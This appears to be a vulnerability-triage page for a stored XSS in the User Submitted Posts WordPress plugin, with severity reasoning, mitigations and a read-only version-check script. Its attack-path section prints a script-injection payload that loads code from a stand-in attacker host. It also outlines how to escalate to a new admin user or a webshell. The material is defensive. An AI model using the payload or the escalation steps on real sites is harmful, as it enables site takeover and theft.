← Back to Feed CACHED · 2026-07-01 11:54:07 · CACHE_KEY CVE-2026-11570
CVE-2026-11570 · CWE-79 · Disclosed 2026-07-01

The User Submitted Posts WordPress plugin before 20260608 does not escape a submitted value before…

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

An admin who opens the wrong submitted-post preview gets JavaScript in their session cookie

The User Submitted Posts WordPress plugin (versions before 20260608) fails to escape a user-controlled value before rendering it inside an admin-configured display context. An unauthenticated site visitor submits a post through the plugin's front-end form, embeds JavaScript into the vulnerable field, and the payload later executes when a WordPress administrator or editor views the admin-configured display area (either the wp-admin submission review screen or a shortcode-rendered page). Successful exploitation means arbitrary JavaScript running under the victim's browser origin — which for an admin means the ability to create new admin users, plant a webshell via the theme/plugin editor, or exfiltrate wp_users via nonce-authenticated AJAX.

No vendor CVSS is published for this record, so this is a first assessment, not a rescore. Judged on its merits: it's a real stored XSS in a plugin used on ~20,000+ WordPress sites per the wordpress.org install counter — meaningful footprint but not internet-scale. The attack requires no authentication to plant, which is the aggravating factor; but detonation requires an admin to actually load the poisoned view, and the blast radius stops at the one WordPress site. Vendor severity would land in the MEDIUM band under CVSS 3.1 (network vector, low complexity, no privs to plant, user interaction required, scope changed, low integrity impact on the WP tenant).

"Admin-context stored XSS in a submission-form plugin — nasty in theory, one-tenant blast radius in practice."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Locate a site running the plugin

Attacker fingerprints WordPress sites running User Submitted Posts via the usp_ shortcode markers in page HTML, the /wp-content/plugins/user-submitted-posts/ path, or the plugin's default form CSS class. Tools: wpscan --enumerate vp, httpx + grep, or the wordpress.org plugin fingerprint database.
Conditions required:
  • Plugin User Submitted Posts installed and version < 20260608
  • Front-end submission form reachable by anonymous or low-priv users (default config)
Where this breaks in practice:
  • Admins who require login before submission cut anonymous reach
  • Sites behind Cloudflare WAF managed rules block the plugin fingerprint scan noise
Detection/coverage: WPScan CVE feed + Wordfence signature database flag vulnerable versions on next scan cycle.
STEP 02

Submit a poisoned post through the plugin form

Attacker POSTs to the plugin's front-end submission endpoint with an XSS payload ("><script src=//attacker/x.js></script>) placed in the unescaped field. The plugin stores it verbatim in wp_posts / wp_postmeta because the pre-20260608 code path skips esc_attr() / esc_html() before echoing it into the admin-configured display context. Weaponization: curl with the form params, or the Burp Repeater with a saved submission template.
Conditions required:
  • Form accepts submissions without CAPTCHA / hCaptcha
  • No pre-save sanitizing filter added by the site's theme
Where this breaks in practice:
  • Sites enabling the plugin's built-in reCAPTCHA option block automated submissions
  • Wordfence / Sucuri XSS payload signatures flag the raw <script> in POST body
Detection/coverage: WAF signatures for classic XSS payloads (<script, onerror=, javascript:) trip on the submission POST.
STEP 03

Wait for an admin to view the poisoned display context

The payload only fires when a privileged user renders the vulnerable view — typically the wp-admin submitted posts review screen or a public page using the plugin's display shortcode with admin-only rendering flags. For admin-only detonation, dwell time can be hours to days depending on the site's moderation cadence.
Conditions required:
  • A WordPress user with edit_posts or higher opens the affected view
  • Admin browser has an active wordpress_logged_in_* cookie
Where this breaks in practice:
  • Sites with Content-Security-Policy script-src 'self' block external script loads
  • Admins reviewing via mobile app / Jetpack don't render the vulnerable admin view
  • Some deployments only render this in a non-authenticated public shortcode → impact drops to session XSS on visitors, not admin takeover
Detection/coverage: CSP violation reports; Wordfence Live Traffic flags anomalous admin-side script fetches.
STEP 04

Convert admin JS execution into persistent site compromise

With admin-origin JavaScript executing, the attacker uses the admin's own nonces to POST to /wp-admin/user-new.php and add a new administrator, or to /wp-admin/plugin-editor.php to append a PHP webshell to any active plugin file. Weaponization: public tools like wp-xss-payloads (github) or a hand-rolled fetch() chain against the REST API using the leaked nonces.
Conditions required:
  • Admin session is live at detonation
  • DISALLOW_FILE_EDIT is NOT set in wp-config.php (default)
Where this breaks in practice:
  • Setting define('DISALLOW_FILE_EDIT', true); kills the theme/plugin editor path
  • 2FA plugins (Wordfence 2FA, WP 2FA) do NOT block already-authenticated session abuse — this is not a mitigation
  • Cloudflare Zero Trust in front of /wp-admin blocks non-corporate-IP admin actions
Detection/coverage: Any new admin user creation event should be a SIEM high-severity alert; plugin/theme file writes should be FIM-monitored.
03 · Intelligence Metadata

The supporting signals.

In-the-wild statusNo confirmed exploitation as of assessment date. Stored XSS in low-install-count WP plugins is rarely worth building automation for — attackers prefer unauth RCE plugins.
Public PoCNo public PoC repo linked to this CVE ID yet; prior USP XSS bugs (2016, 2023, 2024) have public writeups on pvagenas.com and WPScan — payload structure is trivially transferable.
EPSSNot yet scored (CVE assigned 2026-07-01). Historical baseline for stored-XSS-in-WP-plugin CVEs is ~0.1–0.5% — very low weaponization probability.
KEV statusNot listed. CISA has never added a WordPress plugin stored-XSS to KEV.
CVSSNo vendor score published. noisgate assessed vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N5.4 (MEDIUM).
Affected versionsAll User Submitted Posts versions < 20260608.
Fixed version20260608 or later. Update via WP admin → Plugins → Update.
Exposure populationwordpress.org active install counter: ~20,000+ sites. Not in the WP top-1000 plugins. Site-scale, not internet-scale.
Disclosure2026-07-01 — CVE assignment date.
ReporterNot disclosed in the CVE record at time of assessment; Patchstack / WPScan typically credit within days of publication.
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to MEDIUM (5.4/10)

Assessed at MEDIUM because the single decisive factor is blast radius: one WordPress tenant per successful chain, gated by a privileged user actually rendering the poisoned view. Detonation is user-interaction-dependent and the affected component is not a role-defining piece of enterprise infrastructure — it's a front-end content submission plugin on a ~20k-install footprint.

HIGH vulnerability class (stored XSS) and admin-context impact
MEDIUM exploitation likelihood — depends on admin workflow
LOW in-the-wild activity — no telemetry yet, CVE is fresh

Why this verdict

  • Unauth plant, auth detonation — the payload can be inserted by anonymous submitters, which is the aggravating factor; but the payload only fires when an admin/editor views the vulnerable display, which caps velocity.
  • Role multiplier: low-value role (typical CMS deployment) — a public WordPress site running a submission plugin. Chain succeeds, but blast radius is one tenant's content DB + potential webshell on that one site. No lateral movement into corporate identity, no fleet impact.
  • Role multiplier: high-value role does not exist for this component — User Submitted Posts is not a hypervisor, IdP, CA, backup admin, or kernel-mode agent. There is no realistic deployment where the component sits on a Tier-0 asset. Role-floor logic does not push the verdict above MEDIUM.
  • Installed base ~20k sites per wordpress.org — meaningful but small; below the threshold where opportunistic mass-exploitation frameworks (WPScan modules, Wordfence attack telemetry cohorts) typically bother writing signatures the same week.
  • No KEV, no active exploitation, no public PoC as of assessment — nothing pulling the score upward from the base MEDIUM.

Why not higher?

Not HIGH because the chain requires a privileged victim to load the poisoned view (UI:R), the blast radius is scoped to a single WordPress tenant, and the affected component has no plausible high-value-role deployment (no hypervisor, no IdP, no CA, no backup, no kernel agent). No KEV and no in-the-wild campaign to justify an upward pressure.

Why not lower?

Not LOW because the payload is planted unauthenticated and admin-context XSS on WordPress converts trivially to full site takeover via the plugin/theme editor or new-admin-user creation. On sites with active moderation workflows the admin will view the poisoned entry — this is not a theoretical XSS that never fires.

05 · Compensating Control

What to do — in priority order.

  1. Update User Submitted Posts to 20260608 or later on every WP site — This is the primary fix. Under the noisgate remediation SLA for MEDIUM, deploy within the 365-day window — but if you have >5 WP sites running this plugin, batch it into your next monthly WP maintenance window; no reason to wait a year.
  2. Set define('DISALLOW_FILE_EDIT', true); in wp-config.php on every WordPress site — This kills the plugin/theme editor path, meaning admin-context XSS can still create users but cannot drop a webshell via the file editor. Zero-cost hardening — should already be in your WP baseline. No mitigation SLA for MEDIUM, but do this the same day you touch the box.
  3. Enable a WAF ruleset that inspects the plugin's submission POST for XSS payloads — Wordfence Premium, Sucuri, Cloudflare WAF managed rules, or Patchstack all ship generic XSS payload signatures that catch the raw <script> / onerror= planting attempts. Deploy on your top-N public WP sites now — plugin patch will follow.
  4. Turn on CAPTCHA / hCaptcha in the plugin's submission form settings — Blocks automated planting scripts. The plugin has a built-in setting for this; toggle it via wp-admin → USP settings.
  5. Add a Content-Security-Policy header restricting script-src to self + known CDNs — Blocks the external <script src=...> variant of the payload. Won't stop inline JS, but breaks the common document.write(<script src=attacker>) weaponization.
What doesn't work
  • Enabling 2FA on WP admin accounts — the payload runs inside an already-authenticated admin session, so the second factor was already consumed at login. 2FA does NOT block session-riding XSS.
  • Blocking anonymous form submissions with rate limiting — the attacker only needs ONE successful submission to plant the payload. Rate limits are anti-spam, not anti-XSS.
  • Trusting the plugin's own input sanitization prior to 20260608 — that's exactly the code path that's broken; no configuration toggle inside the vulnerable version turns the escaping back on.
06 · Verification

Crowdsourced verification payload.

Run on the WordPress host (or via SSH from an ops jumpbox) as any user with read access to the wp-content directory. Invocation: ./check_usp.sh /var/www/html where the argument is the WordPress document root. No root required unless the wp-content directory is locked down.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate CVE-2026-11570 detector — User Submitted Posts < 20260608
# Usage: ./check_usp.sh /path/to/wordpress
set -u
WP_ROOT="${1:-/var/www/html}"
PLUGIN_DIR="$WP_ROOT/wp-content/plugins/user-submitted-posts"
FIXED="20260608"

if [[ ! -d "$PLUGIN_DIR" ]]; then
  echo "UNKNOWN: plugin directory not present at $PLUGIN_DIR"
  exit 2
fi

# Version lives in the plugin main file header: Version: YYYYMMDD
HEADER_FILE="$PLUGIN_DIR/user-submitted-posts.php"
if [[ ! -f "$HEADER_FILE" ]]; then
  echo "UNKNOWN: plugin header file missing"
  exit 2
fi

VER=$(grep -iE '^[[:space:]]*\*?[[:space:]]*Version:' "$HEADER_FILE" \
  | head -1 | sed -E 's/.*Version:[[:space:]]*//' | tr -d '[:space:]')

if [[ -z "$VER" ]]; then
  echo "UNKNOWN: could not parse Version from $HEADER_FILE"
  exit 2
fi

# Compare as integers (versioning is YYYYMMDD)
if [[ "$VER" =~ ^[0-9]{8}$ ]] && (( 10#$VER < 10#$FIXED )); then
  echo "VULNERABLE: User Submitted Posts $VER (< $FIXED)"
  exit 1
elif [[ "$VER" =~ ^[0-9]{8}$ ]]; then
  echo "PATCHED: User Submitted Posts $VER (>= $FIXED)"
  exit 0
else
  echo "UNKNOWN: unexpected version format: $VER"
  exit 2
fi
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: run the version-check script across every WP host in your fleet, list the sites running User Submitted Posts < 20260608, and update them in your next weekly WP maintenance window. There is no noisgate mitigation SLA for MEDIUM — go straight to the noisgate remediation SLA of ≤ 365 days, but realistically batch the plugin update into your normal monthly WP patching. In the meantime, set DISALLOW_FILE_EDIT=true in wp-config.php on every WordPress instance (do it this week; it's zero-cost hardening) and confirm your WAF has generic stored-XSS rules on the submission POST path. Do NOT prioritize this above any HIGH or CRITICAL open ticket — the blast radius stops at one WP tenant per chain and there is no in-the-wild activity.

Sources

  1. WordPress.org plugin page — User Submitted Posts
  2. WPScan — prior USP Admin+ Stored XSS
  3. Patchstack — USP 20230901 XSS
  4. Patchstack — earlier USP 20151113 XSS
  5. Rapid7 vuln DB — related USP CVE
  6. Wordfence Intelligence weekly WP vuln report
  7. Fastly — active exploitation of unauth stored XSS in WP plugins
  8. Infosecurity Magazine — USP plugin vulnerability coverage
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.